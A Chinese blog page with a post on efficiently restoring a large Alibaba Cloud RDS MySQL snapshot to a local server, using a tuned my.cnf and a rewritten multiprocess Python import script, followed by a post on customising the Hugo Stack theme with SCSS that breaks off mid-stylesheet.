Posts on Keye's Blog

实战指南：大型阿里云 MySQL 快照数据的高效本地还原

Sat, 03 Jan 2026 00:00:00 +0000

前言

接到一项取证相关任务，需要对一份数据库文件进行分析。实际拿到文件后发现，该文件并非传统的物理数据文件，而是阿里云 RDS MySQL 的快照备份数据。因此，第一步工作并不是直接分析数据，而是将快照内容完整还原为可用的 MySQL 数据库实例。

查阅阿里云官方文档RDS MySQL 快照备份文件恢复到自建数据库后，结合实际数据规模与性能瓶颈，逐步形成了本文所记录的恢复与优化方案。

快照目录结构分析

对快照文件解压后，其目录结构大致如下：

├── db1/
│ ├── table_a/
│ │ ├── structure.sql
│ │ └── data/
│ │ ├── data-001.sql
│ │ └── data-002.sql
│ └── table_b/
│ ├── structure.sql
│ └── data/
│ └── data-001.sql
├── db2/
│ ├── users/
│ │ ├── structure.sql
│ │ └── data/
│ │ └── data_0001.sql
│ └── orders/
│ ├── structure.sql
│ └── data/
│ ├── data_0001.sql
│ └── data_0002.sql
└── db3/
 └── empty_table/
 └── structure.sql # 仅包含结构，会创建空表

可以确认以下几点：

每个数据库对应一个一级目录
每个表对应一个子目录
structure.sql：表或库的结构定义
data/ 目录：表数据（.sql 或 .csv）
若仅存在 structure.sql，则恢复后为空表

初始恢复尝试

按照阿里云官方提供的 Python 示例脚本进行恢复测试。然而在实际环境中遇到以下问题：

数据规模极大：.sql 文件总量超过 500GB
导入速度极慢：长时间无明显进度
资源利用率低：CPU、IO 未被充分使用

官方脚本的核心问题在于：

单线程顺序导入
完全依赖 MySQL 默认配置
每个 SQL 文件独立执行，事务与刷盘开销巨大

官方示例脚本如下（原样保留）：

官方 Python 脚本源码

#!/usr/bin/python
# ****************************************************************#
# ScriptName: restore_from_downloads
# Author: @alibaba-inc.com
# Function:
# ***************************************************************#

import os
import sys

STRUCTURE_FILE_NAME = "structure.sql"
DATA_PATH_PREFIX = "data"


def create_database(db_host, db_port, db_user, db_pass, create_stmt_file):
 cmd = "mysql -h" + db_host + " -P" + db_port + " -u" + \
 db_user + " -p" + db_pass + " <" + create_stmt_file
 if os.system(cmd) != 0:
 print("[ERROR]: execute SQL failed. command: " + cmd)
 exit(1)


def create_table(db_host, db_port, db_user, db_pass, db_name, create_stmt_file):
 cmd = "mysql -h" + db_host + " -P" + db_port + " -u" + db_user + \
 " -p" + db_pass + " -D" + db_name + " <" + create_stmt_file
 if os.system(cmd) != 0:
 print("[ERROR]: execute SQL failed. command: " + cmd)
 exit(1)


def import_file_csv_with_header(db_host, db_port, db_user, db_pass, csv_file, db, table, with_header=False):
 if with_header:
 in_file = open(csv_file)
 schema = in_file.readline().strip('\n')
 load_cmd = "load data local infile \"" + csv_file + "\" into table `" + db + "`.`" + table + "` character set utf8mb4 FIELDS TERMINATED BY \",\" enclosed by \"\\\"\" lines terminated by \"\\n\" ignore 1 lines" + \
 " (" + schema + ")"
 in_file.close()
 else:
 load_cmd = "load data local infile \"" + csv_file + "\" into table `" + db + "`.`" + table + "` character set utf8mb4 FIELDS TERMINATED BY \",\" enclosed by \"\\\"\""
 
 cmd = "mysql --local_infile=1 -h" + db_host + " -P" + db_port + " -u" + \
 db_user + " -p" + db_pass + " -e '" + load_cmd + "'"

 print("[INFO]: trying to exec: " + cmd)
 if os.system(cmd) != 0:
 print("[ERROR]: execute SQL failed. command: " + cmd)
 exit(1)


def import_file_sql(db_host, db_port, db_user, db_pass, sql_file):
 cmd = "mysql -h" + db_host + " -P" + db_port + \
 " -u" + db_user + " -p" + db_pass + " <" + sql_file
 print("[INFO]: trying to exec: " + cmd)
 if os.system(cmd) != 0:
 print("[ERROR]: execute SQL failed. command: " + cmd)
 exit(1)


def print_usage():
 print(
 "Usage: python ./restore_mysql.py [backupset_directory] [database_host] [database_port] [database_username] [database_password]")


enable_foreign_key_check = None

def read_db_foreign_key_enable():
 global enable_foreign_key_check
 cmd = "mysql -h" + db_host + " -P" + db_port + " -u" + db_user + " -p" + db_pass + " -e " + "'SELECT @@FOREIGN_KEY_CHECKS'" # + " | awk '{print $1}' | sed -n '2,1p' "
 from subprocess import check_output
 try:
 cmd_output = check_output(cmd, shell=True)
 cmd_output = cmd_output.decode()
 foreign_check_enable = cmd_output.split("\n")[1]
 if foreign_check_enable == "1":
 print("[INFO]: foreign key check is on")
 enable_foreign_key_check = True
 elif foreign_check_enable == "0":
 print("[INFO]: foreign key check is off")
 enable_foreign_key_check = False
 except Exception:
 print("[WARN] try to get foreign key config failed. won't change foreign key config for MySQL")
 # do nothing


def do_disable_foreign_key_check():
 global enable_foreign_key_check
 if enable_foreign_key_check is True:
 print("[INFO]: try to disable foreign key check before importing data...")
 cmd = "mysql -h" + db_host + " -P" + db_port + " -u" + db_user + " -p" + db_pass + " -e " + "'SET GLOBAL FOREIGN_KEY_CHECKS=0'"
 if os.system(cmd) != 0:
 print("[ERROR]: execute SQL failed. command: " + cmd)
 exit(1)
 print("[INFO]: success disable foreign key check")
 else:
 print("[INFO]: no need to disable foreign key check before importing data")

def do_enable_foreign_key_check():
 global enable_foreign_key_check
 if enable_foreign_key_check is True:
 print("[INFO]: try to enable foreign key check after importing data...")
 cmd = "mysql -h" + db_host + " -P" + db_port + " -u" + db_user + " -p" + db_pass + " -e " + "'SET GLOBAL FOREIGN_KEY_CHECKS=1'"
 if os.system(cmd) != 0:
 print("[ERROR]: execute SQL failed. command: " + cmd)
 exit(1)
 print("[INFO]: success enable foreign key check")
 else:
 print("[INFO]: no need to enable foreign key check after importing data")

if __name__ == '__main__':
 if len(sys.argv) != 6:
 print_usage()
 exit()

 root_dir = os.path.abspath(sys.argv[1])
 db_host = sys.argv[2]
 db_port = sys.argv[3]
 db_user = sys.argv[4]
 db_pass = sys.argv[5]
 print("[INFO]: restore data from " + root_dir +
 " to " + db_host + ":" + db_port)

 read_db_foreign_key_enable()

 do_disable_foreign_key_check()

 try:
 db_dirs = os.listdir(root_dir)
 for db_dir in db_dirs:
 dir_path = os.path.join(root_dir, db_dir)
 if not os.path.isdir(dir_path):
 continue
 db_structure_file = os.path.join(dir_path, STRUCTURE_FILE_NAME)
 create_database(db_host, db_port, db_user, db_pass, db_structure_file)
 print("[INFO]: restore structure database: " + db_dir + " ends")

 table_dirs = os.listdir(dir_path)
 for table_dir in table_dirs:
 table_dir_path = os.path.join(dir_path, table_dir)
 if not os.path.isdir(table_dir_path):
 continue
 table_structure_file = os.path.join(table_dir_path, STRUCTURE_FILE_NAME)
 create_table(db_host, db_port, db_user, db_pass, db_dir, table_structure_file)
 print("[INFO]: restore structure table: " + table_dir + " ends")

 table_data_dir_path = os.path.join(table_dir_path, DATA_PATH_PREFIX)
 if not os.path.isdir(table_data_dir_path):
 continue
 
 filename_slices = os.listdir(table_data_dir_path)[0].split(".")
 files_format = filename_slices[-1]
 if files_format == "csv":
 with_header = len(filename_slices) > 1 and filename_slices[-2]=="wh" # .wh.csv is csv with header, .csv is csv without header
 csv_files = os.listdir(table_data_dir_path)
 csv_count = 0
 for csv_file in csv_files:
 csv_file_path = os.path.join(table_data_dir_path, csv_file)
 file_size = os.path.getsize(csv_file_path)
 if file_size > 0:
 import_file_csv_with_header(db_host, db_port, db_user,
 db_pass, csv_file_path, db_dir, table_dir, with_header)
 csv_count = csv_count + 1
 print("[INFO]: restore data [" + str(csv_count) + "/" + str(
 len(csv_files)) + "] of table " + db_dir + "." + table_dir)
 elif files_format == "sql":
 sql_files = os.listdir(table_data_dir_path)
 sql_count = 0
 for sql_file in sql_files:
 sql_file_path = os.path.join(table_data_dir_path, sql_file)
 file_size = os.path.getsize(sql_file_path)
 if file_size > 0:
 import_file_sql(db_host, db_port,
 db_user, db_pass, sql_file_path)
 sql_count = sql_count + 1
 print("[INFO]: restore data [" + str(sql_count) + "/" + str(
 len(sql_files)) + "] of table " + db_dir + "." + table_dir)
 finally:
 do_enable_foreign_key_check()

性能瓶颈分析

综合分析后，主要瓶颈集中在两个方面：

MySQL 服务端参数未针对大规模导入进行优化
数据导入逻辑为单线程，无法利用多核 CPU 与磁盘并发能力

因此，优化方向也明确为两点：

MySQL 配置专项调优
重写导入脚本，实现并行、高吞吐导入

MySQL 配置专项优化

针对一次性大规模数据导入场景，对 my.cnf 进行针对性调整，核心原则包括：

最大化内存与 I/O 利用率
暂时关闭影响写入性能的安全与一致性特性
导入完成后可恢复为常规生产配置

主要优化点包括但不限于：

关闭 binlog、双写缓冲
降低事务刷盘频率
提高 innodb_buffer_pool_size
提高 max_allowed_packet
禁用性能与监控相关模块

针对大文件导入优化的 my.cnf 建议配置

## Mysql 5.7 配置，其他版本请依据实际情况自己修改
[client]
port = 3306
socket = /tmp/mysql.sock
default-character-set = utf8mb4

[mysql]
no-auto-rehash
default-character-set = utf8mb4

[mysqld]
# ============================================
# 基础设置
# ============================================
user = mysql
port = 3306
basedir = /usr/local/mysql
datadir = /usr/local/mysql/data
socket = /tmp/mysql.sock
pid-file = /usr/local/mysql/data/mysql.pid
tmpdir = /tmp

character-set-server = utf8mb4
collation-server = utf8mb4_unicode_ci
default-storage-engine = InnoDB

# ============================================
# 网络优化（大文件导入）
# ============================================
max_connections = 200
max_allowed_packet = 1G
connect_timeout = 600
wait_timeout = 28800
interactive_timeout = 28800
net_read_timeout = 600
net_write_timeout = 600
net_buffer_length = 16K
back_log = 300

# ============================================
# 安全设置
# ============================================
skip-name-resolve
local_infile = ON
explicit_defaults_for_timestamp = ON
lower_case_table_names = 0
sql_mode = NO_ENGINE_SUBSTITUTION

# ============================================
# 日志配置（导入时最小化）
# ============================================
log-error = /usr/local/mysql/data/mysql-error.log
log_warnings = 2
slow_query_log = OFF
long_query_time = 2
slow_query_log_file = /usr/local/mysql/data/mysql-slow.log
general_log = OFF

# 二进制日志（导入时禁用）
skip-log-bin
# log-bin = /usr/local/mysql/data/mysql-bin
# expire_logs_days = 7
# max_binlog_size = 1G
# binlog_format = ROW
# sync_binlog = 0

# ============================================
# 缓存优化（8核CPU）
# ============================================
thread_cache_size = 100
table_open_cache = 4096
table_definition_cache = 2048
table_open_cache_instances = 8

# 查询缓存（禁用）
query_cache_type = 0
query_cache_size = 0

# 排序和连接缓冲
sort_buffer_size = 16M
join_buffer_size = 16M
read_buffer_size = 8M
read_rnd_buffer_size = 16M

# MyISAM 键缓存
key_buffer_size = 128M

# 临时表（16GB内存配置）
tmp_table_size = 1G
max_heap_table_size = 1G

# ============================================
# InnoDB 核心配置（16GB内存 + 5万IOPS优化）
# ============================================

# 缓冲池设置（16GB的70% = 11GB）
innodb_buffer_pool_size = 11G
innodb_buffer_pool_instances = 8
innodb_buffer_pool_chunk_size = 128M

# 重做日志配置
innodb_log_buffer_size = 128M
innodb_log_file_size = 2G
innodb_log_files_in_group = 2

# 刷新策略（导入时设为0最快，导入完改回2）
innodb_flush_log_at_trx_commit = 0

# 刷新方法（SSD推荐O_DIRECT）
innodb_flush_method = O_DIRECT

# 数据文件
innodb_data_file_path = ibdata1:1G:autoextend
innodb_autoextend_increment = 256

# I/O线程（8核CPU配置）
innodb_read_io_threads = 8
innodb_write_io_threads = 8
innodb_purge_threads = 4
innodb_page_cleaners = 4

# I/O容量（针对5万IOPS的硬盘）
innodb_io_capacity = 10000
innodb_io_capacity_max = 20000

# 脏页配置（导入时提高）
innodb_max_dirty_pages_pct = 90
innodb_max_dirty_pages_pct_lwm = 10

# SSD优化
innodb_flush_neighbors = 0

# 双写缓冲（导入时禁用，导入完启用）
innodb_doublewrite = OFF

# 锁配置
innodb_lock_wait_timeout = 300
innodb_rollback_on_timeout = ON
innodb_autoinc_lock_mode = 2

# 自适应哈希（导入时禁用）
innodb_adaptive_hash_index = OFF

# 变更缓冲（最大化）
innodb_change_buffering = all
innodb_change_buffer_max_size = 50

# Undo日志
innodb_undo_tablespaces = 3
innodb_undo_logs = 128
innodb_undo_log_truncate = ON
innodb_max_undo_log_size = 1G

# 并发控制（0=自动）
innodb_thread_concurrency = 0
innodb_concurrency_tickets = 5000

# 预读优化（导入时禁用预读）
innodb_read_ahead_threshold = 0
innodb_random_read_ahead = OFF

# 文件配置
innodb_file_per_table = ON
innodb_open_files = 4096

# 监控
innodb_print_all_deadlocks = OFF

# 同步优化
innodb_sync_array_size = 8
innodb_sync_spin_loops = 30

# LRU扫描深度
innodb_lru_scan_depth = 512

# 统计信息
innodb_stats_persistent = ON
innodb_stats_auto_recalc = ON
innodb_stats_persistent_sample_pages = 20
innodb_stats_on_metadata = OFF

# 日志压缩
innodb_log_compressed_pages = OFF

# 排序缓冲
innodb_sort_buffer_size = 64M

# 在线DDL
innodb_online_alter_log_max_size = 1G

# 缓冲池预加载
innodb_buffer_pool_dump_at_shutdown = ON
innodb_buffer_pool_load_at_startup = ON
innodb_buffer_pool_dump_pct = 25

# 快速关闭
innodb_fast_shutdown = 1

# 严格模式（导入时关闭）
innodb_strict_mode = OFF

# ============================================
# 性能优化
# ============================================
performance_schema = OFF
symbolic-links = 0
skip-external-locking
open_files_limit = 65535
transaction_isolation = READ-COMMITTED
autocommit = ON

# 优化器
eq_range_index_dive_limit = 200
optimizer_switch = 'index_merge=on,index_merge_union=on,index_merge_sort_union=on,index_merge_intersection=on,engine_condition_pushdown=on,index_condition_pushdown=on,mrr=on,mrr_cost_based=on,block_nested_loop=on,batched_key_access=on,materialization=on,semijoin=on,loosescan=on,firstmatch=on,duplicateweedout=on,subquery_materialization_cost_based=on,use_index_extensions=on,condition_fanout_filter=on,derived_merge=on'

# 磁盘临时表引擎
internal_tmp_disk_storage_engine = InnoDB

# ============================================
# 导入专用设置
# ============================================
bulk_insert_buffer_size = 128M
delay_key_write = ALL
myisam_sort_buffer_size = 128M
myisam_max_sort_file_size = 10G

# ============================================
# 其他优化
# ============================================
max_connect_errors = 1000
max_prepared_stmt_count = 16382
thread_stack = 256K
max_sort_length = 1024
max_length_for_sort_data = 4096
lock_wait_timeout = 31536000
host_cache_size = 0
event_scheduler = OFF
secure_file_priv = ''

[mysqldump]
quick
quote-names
max_allowed_packet = 1G
default-character-set = utf8mb4
single-transaction
skip-lock-tables

[myisamchk]
key_buffer_size = 256M
sort_buffer_size = 256M
read_buffer = 128M
write_buffer = 128M

多进程导入脚本重构

在 MySQL 层完成优化后，单线程导入依然无法满足效率要求，因此对官方脚本进行了完全重构，核心目标是：

设计目标

多进程并行导入
自动识别结构 / 数据完整性
支持 SQL 与 CSV 混合格式
导入完成后自动清理源文件，释放磁盘空间
导入过程可视化、可控、可中断

脚本核心能力

预扫描备份目录并生成导入报告
自动识别以下几类表：
- 结构 + 数据完整（正常导入）
- 仅结构（空表）
- 有数据但缺失结构（严重错误，需人工处理）
按 CPU 核心数动态分配并发度
每个表作为最小调度单元，负载均衡
数据导入完成后自动删除 .sql / .csv 文件

并发策略

结构导入阶段：全核并行（耗时极短）
数据导入阶段：保留 2 个核心给 MySQL，其余全部用于导入任务
使用 imap_unordered 确保无空闲进程

多线程导入脚本 (Python 3)

#!/usr/bin/python3
# ****************************************************************#
# ScriptName: auto_clean_restore.py (v6.0 CN + AutoClean)
# Function: 预检 -> 确认 -> 导入 -> 自动删除源文件
# ***************************************************************#

import os
import sys
import subprocess
import shutil
from multiprocessing import Pool, cpu_count

STRUCTURE_FILE_NAME = "structure.sql"
DATA_PATH_PREFIX = "data"

# --- 辅助函数: 生成 MySQL 命令 ---
def get_cmd(db_host, db_port, db_user, db_pass, db_name=None):
 cmd = [
 'mysql',
 f'-h{db_host}', f'-P{db_port}', f'-u{db_user}', f'-p{db_pass}',
 '--default-character-set=utf8mb4',
 '--net_buffer_length=1M',
 '--max_allowed_packet=1G'
 ]
 if db_name:
 cmd.append(f'-D{db_name}')
 return cmd

# --- 扫描逻辑 ---
def scan_backup_directory(root_dir):
 """扫描目录并返回分类后的任务列表"""
 valid_tasks = []
 
 report = {
 "total_tables": 0,
 "ready_full": [], # 结构 + 数据 (完美)
 "ready_struct": [], # 仅结构 (空表)
 "missing_struct": [], # 有数据但无结构 (严重错误)
 "useless": [] # 啥都没 (废弃目录)
 }

 # 排序以保证显示美观
 db_dirs = sorted([d for d in os.listdir(root_dir) if os.path.isdir(os.path.join(root_dir, d))])
 
 for db in db_dirs:
 db_path = os.path.join(root_dir, db)
 tables = sorted([t for t in os.listdir(db_path) if os.path.isdir(os.path.join(db_path, t))])
 
 for t in tables:
 t_path = os.path.join(db_path, t)
 report["total_tables"] += 1
 identifier = f"{db}.{t}"

 # 检查结构
 struc_file = os.path.join(t_path, STRUCTURE_FILE_NAME)
 has_struct = os.path.exists(struc_file) and os.path.getsize(struc_file) > 0

 # 检查数据
 data_dir = os.path.join(t_path, DATA_PATH_PREFIX)
 has_data = False
 if os.path.isdir(data_dir):
 # 只统计非空的 sql 或 csv
 valid_files = [f for f in os.listdir(data_dir) 
 if (f.endswith('.sql') or f.endswith('.csv')) 
 and os.path.getsize(os.path.join(data_dir, f)) > 0]
 if valid_files:
 has_data = True

 # 分类
 task_info = (db, t, t_path) 

 if has_struct and has_data:
 report["ready_full"].append(identifier)
 valid_tasks.append(task_info)
 elif has_struct and not has_data:
 report["ready_struct"].append(identifier)
 valid_tasks.append(task_info) # 仅导入结构
 elif not has_struct and has_data:
 report["missing_struct"].append(identifier)
 # 这种无法导入，不加入任务列表
 else:
 report["useless"].append(identifier)

 return report, valid_tasks

# --- 工作进程 1: 导入结构 (带自动删除) ---
def restore_structure_worker(args):
 db_name, table_name, table_path, db_host, db_port, db_user, db_pass = args
 struc_file = os.path.join(table_path, STRUCTURE_FILE_NAME)
 
 if not os.path.exists(struc_file): return True

 try:
 cmd = get_cmd(db_host, db_port, db_user, db_pass, db_name)
 with open(struc_file, 'r', encoding='utf-8', errors='replace') as f:
 res = subprocess.run(cmd, stdin=f, capture_output=True, text=True)
 
 if res.returncode != 0:
 if "already exists" in res.stderr: 
 # 表已存在也视为成功，尝试删除文件
 pass 
 else:
 raise Exception(res.stderr.strip())
 
 # 【自动删除】导入成功，删除 structure.sql
 try:
 os.remove(struc_file)
 except OSError:
 pass

 return True
 except Exception as e:
 print(f"[结构失败] `{db_name}`.`{table_name}`: {e}", flush=True)
 return False

# --- 工作进程 2: 导入数据 (带自动删除) ---
def restore_data_worker(args):
 db_name, table_name, table_path, db_host, db_port, db_user, db_pass = args
 
 data_dir = os.path.join(table_path, DATA_PATH_PREFIX)
 if not os.path.isdir(data_dir): 
 # 如果没有数据目录，尝试删除表目录(如果为空)清理垃圾
 try: os.rmdir(table_path)
 except: pass
 return True
 
 files = sorted([os.path.join(data_dir, f) for f in os.listdir(data_dir) if os.path.getsize(os.path.join(data_dir, f)) > 0])
 if not files:
 try: os.rmdir(data_dir)
 except: pass
 return True

 is_csv = files[0].endswith('.csv')
 process = None

 try:
 print(f"[数据导入-{os.getpid()}]: 🚀 开始 `{db_name}`.`{table_name}` (共 {len(files)} 个文件)", flush=True)
 cmd = get_cmd(db_host, db_port, db_user, db_pass, db_name)
 if is_csv: cmd.append('--local-infile=1')

 process = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, bufsize=1024*1024)

 # 快速检查连接
 try:
 process.wait(timeout=0.1)
 out, err = process.communicate()
 raise Exception(f"数据库连接断开: {err.strip()}")
 except subprocess.TimeoutExpired:
 pass

 # --- 策略 A: SQL 流式导入 ---
 if not is_csv:
 process.stdin.write("SET unique_checks=0; SET foreign_key_checks=0; SET sql_log_bin=0; SET autocommit=0;\n")
 for fpath in files:
 with open(fpath, 'r', encoding='utf-8', errors='replace', buffering=1024*1024) as f:
 shutil.copyfileobj(f, process.stdin)
 # 每个文件提交一次
 process.stdin.write("\nCOMMIT;\nSET autocommit=0;\n")
 process.stdin.write("COMMIT;\n")
 process.stdin.close()
 
 # --- 策略 B: CSV 导入 ---
 else:
 csv_cmds = ["SET unique_checks=0; SET foreign_key_checks=0; SET sql_log_bin=0; SET autocommit=0;"]
 schema = ""
 parts = os.path.basename(files[0]).split('.')
 if len(parts) > 1 and parts[-2] == "wh":
 with open(files[0], 'r', encoding='utf-8') as f: schema = f.readline().strip()
 for fpath in files:
 path_str = os.path.abspath(fpath).replace('\\', '/')
 load = f"LOAD DATA LOCAL INFILE '{path_str}' INTO TABLE `{table_name}` CHARACTER SET utf8mb4 FIELDS TERMINATED BY ',' ENCLOSED BY '\"' LINES TERMINATED BY '\\n'"
 if schema: load += f" IGNORE 1 LINES ({schema})"
 csv_cmds.append(load + "; COMMIT; SET autocommit=0;")
 csv_cmds.append("COMMIT;")
 out, err = process.communicate(input="\n".join(csv_cmds))
 if process.returncode != 0: raise Exception(err)

 # 等待完成
 if process.poll() is None: process.wait()
 if process.returncode != 0:
 _, err = process.communicate()
 raise Exception(err.strip())

 # 【自动删除】导入成功，开始清理文件
 for fpath in files:
 try: os.remove(fpath)
 except OSError: pass
 
 # 尝试删除空的 data 目录
 try: os.rmdir(data_dir)
 except OSError: pass

 # 尝试删除空的表目录 (如果结构文件和数据文件都删光了)
 try: os.rmdir(table_path)
 except OSError: pass

 print(f"[数据完成-{os.getpid()}]: ✅ 已清理 `{db_name}`.`{table_name}`", flush=True)
 return True

 except Exception as e:
 print(f"[数据失败] `{db_name}`.`{table_name}`: {e}", flush=True)
 if process and process.poll() is None: process.terminate()
 return False

# --- 主程序 ---
def main():
 if len(sys.argv) != 6:
 print("用法: python3 auto_clean_restore.py [目录] [主机] [端口] [用户] [密码]")
 sys.exit(1)

 root, host, port, user, password = os.path.abspath(sys.argv[1]), sys.argv[2], sys.argv[3], sys.argv[4], sys.argv[5]

 print(f"--- 🔍 阶段 0: 正在扫描备份目录: {root} ---")
 print("文件扫描中... 请稍候...")
 
 report, valid_tasks = scan_backup_directory(root)

 # --- 打印报告 ---
 print("\n" + "="*60)
 print(f"📑 数据库导入预检报告 (共扫描表: {report['total_tables']})")
 print("="*60)

 # 1. 严重问题
 if report['missing_struct']:
 print(f"\n🚨 [严重错误] 缺失表结构 (有数据但无 CREATE TABLE):")
 print(f" 数量: {len(report['missing_struct'])}")
 print("-" * 30)
 for item in report['missing_struct']:
 print(f" ❌ {item}")
 print("-" * 30)
 print(" 👉 这些表无法自动恢复，需要人工处理！")
 else:
 print("\n✅ 未发现严重的表结构缺失问题。")

 # 2. 空表
 if report['ready_struct']:
 print(f"\n⚠️ [提示] 仅结构 (空表):")
 print(f" 数量: {len(report['ready_struct'])}")
 if len(report['ready_struct']) < 10:
 for item in report['ready_struct']: print(f" - {item}")
 else:
 print(f" - (列表太长，共 {len(report['ready_struct'])} 个空表)")

 # 3. 正常任务
 print(f"\n📦 [就绪] 准备全量导入 (结构 + 数据):")
 print(f" 数量: {len(report['ready_full'])}")

 # 4. 无用目录
 if report['useless']:
 print(f"\n🗑️ [忽略] 无结构且无数据 (废弃目录):")
 print(f" 数量: {len(report['useless'])}")

 print("="*60)
 print(f"\n有效导入任务总数: {len(valid_tasks)}")
 print("⚠️ 警告: 导入成功后，源文件 (.sql/.csv) 将被【永久删除】以释放空间！")
 
 # --- 确认执行 ---
 if not valid_tasks:
 print("❌ 没有发现需要导入的表。程序退出。")
 sys.exit(0)

 user_input = input("\n🚀 是否确认开始导入并自动清理？(输入 y 确认): ").strip().lower()
 if user_input != 'y':
 print("⛔️ 用户取消操作。")
 sys.exit(0)

 # --- 开始执行 ---
 # 准备参数
 restore_args = [ (t[0], t[1], t[2], host, port, user, password) for t in valid_tasks ]
 
 # 阶段 1: 创建数据库
 print(f"\n>>> [阶段 1] 正在创建数据库...")
 unique_dbs = set([t[0] for t in valid_tasks])
 for db in unique_dbs:
 subprocess.run(get_cmd(host, port, user, password), input=f"CREATE DATABASE IF NOT EXISTS `{db}`;", text=True, stderr=subprocess.DEVNULL)

 # 阶段 2: 导入结构
 print(f"\n>>> [阶段 2] 并发导入表结构...")
 # 结构导入很快，使用全部核心
 with Pool(cpu_count()) as pool:
 pool.map(restore_structure_worker, restore_args)

 # 阶段 3: 导入数据
 print(f"\n>>> [阶段 3] 并发导入数据 (完成后自动删除源文件)...")
 # 数据导入较重，保留 2 个核心给数据库
 workers = max(1, cpu_count() - 2)
 print(f"启动 {workers} 个并发进程 (负载均衡模式)...")
 with Pool(workers) as pool:
 # chunksize=1 确保每次只领 1 个表，干完立刻去领下一个，绝不闲置
 list(pool.imap_unordered(restore_data_worker, restore_args, chunksize=1))

 print("\n--- 🎉 全部完成！源文件已清理 ---")

if __name__ == '__main__':
 main()

实际效果

在相同硬件条件下，对比结果如下：

项目	官方脚本	优化后
CPU 利用率	< 20%	80%+
IO 吞吐	极低	接近磁盘上限
导入速度	几 GB / 小时	数十 GB / 小时
磁盘占用	持续增长	实时释放

对于超大规模快照（数百 GB 以上），该方案可以显著缩短恢复时间，并避免因磁盘空间耗尽而中断任务。

总结

恢复超大规模数据库快照，性能瓶颈往往不在 SQL，而在配置与并发模型。

Hugo Stack 主题魔改及维护

Mon, 08 Dec 2025 18:00:10 +0800

前言

所有修改都采用 Hugo 的主题覆盖机制，不直接修改主题文件，确保主题可以随时更新而不影响自定义内容。

基础知识：理解 Hugo 主题覆盖机制

Hugo 的文件查找顺序

Hugo 在查找模板和资源文件时，会按以下顺序查找：

1. 项目根目录/layouts/ (最高优先级)
2. 项目根目录/themes/主题名/layouts/
3. 项目根目录/assets/ (最高优先级)
4. 项目根目录/themes/主题名/assets/

原理：只需在项目根目录创建与主题相同路径的文件，就可以覆盖主题的默认文件。

使用 Git 子模块管理主题

添加主题子模块：

git submodule add https://github.com/CaiJimmy/hugo-theme-stack themes/hugo-theme-stack

优势：

主题和自定义修改完全分离
可以随时更新主题：git submodule update --remote
版本控制清晰

全局样式定制方法

创建自定义样式文件

步骤 1：在项目根目录创建 assets/scss/custom.scss 文件

// assets/scss/custom.scss
// 这个文件会被 Hugo 自动编译并添加到页面中

步骤 2：确保 Hugo 配置中启用了自定义样式

主题会自动查找并加载 assets/scss/custom.scss，无需额外配置。

使用 CSS 变量统一管理样式

方法：在 :root 中定义全局变量

:root {
 // 间距和尺寸
 --main-top-padding: 30px;
 --card-border-radius: 10px;
 --tag-border-radius: 8px;
 --section-separation: 40px;

 // 字体大小
 --article-font-size: 1.8rem;

 // 颜色定义
 --other-color: #e99312; // 主题强调色
 --code-background-color: #f8f8f8; // 代码背景色
 --code-text-color: var(--other-color); // 代码文字颜色
}

为什么使用 CSS 变量？

统一管理样式，修改一处即可全局生效
支持暗色模式切换
便于维护和调试

实现暗色模式适配

方法：在 :root 中添加暗色模式条件

:root {
 // 浅色模式样式
 --code-background-color: #f8f8f8;
 --code-text-color: var(--other-color);

 // 暗色模式样式
 &[data-scheme="dark"] {
 --code-background-color: #ff6d1b17;
 --code-text-color: var(--other-color);
 }
}

修改文字选中效果

需求：让选中的文字有更明显的视觉反馈

::selection {
 color: #fff; // 选中文字颜色
 background: #34495e; // 选中背景色
}

提示：可以使用主题色或品牌色，增强品牌识别度。

优化链接和代码的换行

问题：在移动端，长链接和代码会导致页面横向滚动

解决方法：

// 修复引用块和代码在窄屏幕显示问题
a {
 word-break: break-all; // 允许在任意字符间断行
}

code {
 word-break: break-all;
}

注意：break-all 可能会在不理想的位置断行，如果需要更智能的断行，可以使用 word-wrap: break-word。

定制文章列表封面高度

需求：让封面图高度在不同屏幕尺寸下都有合适的显示

方法：使用响应式断点

.article-list article .article-image img {
 width: 100%;
 height: 200px !important; // 移动端
 object-fit: cover; // 裁剪图片以填充区域

 @include respond(md) { // 平板
 height: 250px !important;
 }

 @include respond(xl) { // 桌面
 height: 285px !important;
 }
}

Stack 主题的响应式断点：

sm: < 768px
md: ≥ 768px
lg: ≥ 1024px
xl: ≥ 1280px

为文章内图片添加圆角和自适应

方法：

.article-page .main-article .article-content {
 img {
 max-width: 96% !important; // 略小于容器，留出边距
 height: auto !important; // 自动高度保持比例
 border-radius: 8px; // 圆角
 }
}

美化引用块样式

方法：

.article-content {
 blockquote {
 border-radius: 10px; // 整体圆角
 margin-left: -8px; // 轻微左移
 max-width: 102%; // 略超出容器
 // 左侧彩色边框
 border-inline-start: var(--blockquote-border-size) solid var(--accent-color);
 }
}

美化全局滚动条

方法一：隐藏滚动条（如菜单）

.menu::-webkit-scrollbar {
 display: none;
}

方法二：定制滚动条样式

html {
 ::-webkit-scrollbar {
 width: 20px; // 滚动条宽度
 }

 ::-webkit-scrollbar-track {
 background-color: transparent; // 轨道透明
 }

 ::-webkit-scrollbar-thumb {
 background-color: #d6dee1; // 滑块颜色
 border-radius: 20px; // 圆角滑块
 border: 6px solid transparent; // 内边距效果
 background-clip: content-box; // 背景裁剪
 }

 ::-webkit-scrollbar-thumb:hover {
 background-color: #a8bbbf; // 悬停时加深
 }
}

代码块工具栏功能增强

需求分析

目标：为每个代码块添加工具栏，显示编程语言并提供一键复制功能。

效果预览：

┌─────────────────────────────────┐
│ JAVASCRIPT ✂ Copy │ ← 工具栏
├─────────────────────────────────┤
│ console.log('Hello World') │ ← 代码
└─────────────────────────────────┘

添加工具栏样式

步骤 1：覆盖主题的文章样式文件

在项目根目录创建 assets/scss/partials/layout/article.scss

步骤 2：添加工具栏样式

.article-content {
 .highlight {
 max-width: 102% !important;
 padding: 0px;
 position: relative;
 border-radius: 8px;
 margin-left: -8px !important;
 margin-right: -2px;
 box-shadow: var(--shadow-l1) !important;

 // 工具栏样式
 .toolbar {
 position: relative;
 width: 100%;
 height: 30px;
 background-color: var(--scrollbar-thumb); // 使用主题变量
 z-index: 10;
 display: flex;
 justify-content: space-between; // 两端对齐
 align-items: center;
 padding: 6px 16px;
 border-top-left-radius: 8px;
 border-top-right-radius: 8px; // 只有顶部圆角

 // 语言标签按钮
 .languageTagButton {
 background: none;
 border: none;
 font-size: 12px;
 font-family: var(--code-font-family);
 color: var(--code-button-color);
 cursor: default; // 不可点击
 }

 // 复制按钮
